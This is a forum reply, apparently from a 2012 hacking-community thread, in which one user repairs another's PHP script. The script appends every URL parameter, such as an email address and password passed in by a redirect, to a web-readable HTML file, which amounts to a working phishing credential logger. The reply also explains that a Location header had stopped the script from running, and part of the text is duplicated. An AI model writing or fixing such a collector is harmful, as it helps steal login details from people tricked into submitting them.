RE: PHP - Need this code adjusted fast! 10-19-2012, 07:38 AM
#3
Here is your adjusted code.
data will be added like this (only if you redirect a user to this page like this 'http://test.com/test.php?email=$value&pass=$value' and has you are redirecting like this it will only add email and pass.) :
email:h4r0015k@hackcommunity.com pass:h4r0015k
the code was not working for you because at the beginning of the code you added this piece of code 'header ('Location: http://www.website.com');' which tells the browser to visit 'http://www.website.com' without running code below it.
Code:
<?php
$handle = fopen("text.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, '<b>'.$variable.'</b>');
fwrite($handle, ':');
fwrite($handle, $value);
fwrite($handle,' ');
}
fwrite($handle, "\r\n");
fwrite($handle, "</br>");
fclose($handle);
exit;
?>data will be added like this (only if you redirect a user to this page like this 'http://test.com/test.php?email=$value&pass=$value' and has you are redirecting like this it will only add email and pass.) :
email:h4r0015k@hackcommunity.com pass:h4r0015k
the code was not working for you because at the beginning of the code you added this piece of code 'header ('Location: http://www.website.com');' which tells the browser to visit 'http://www.website.com' without running code below it.


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)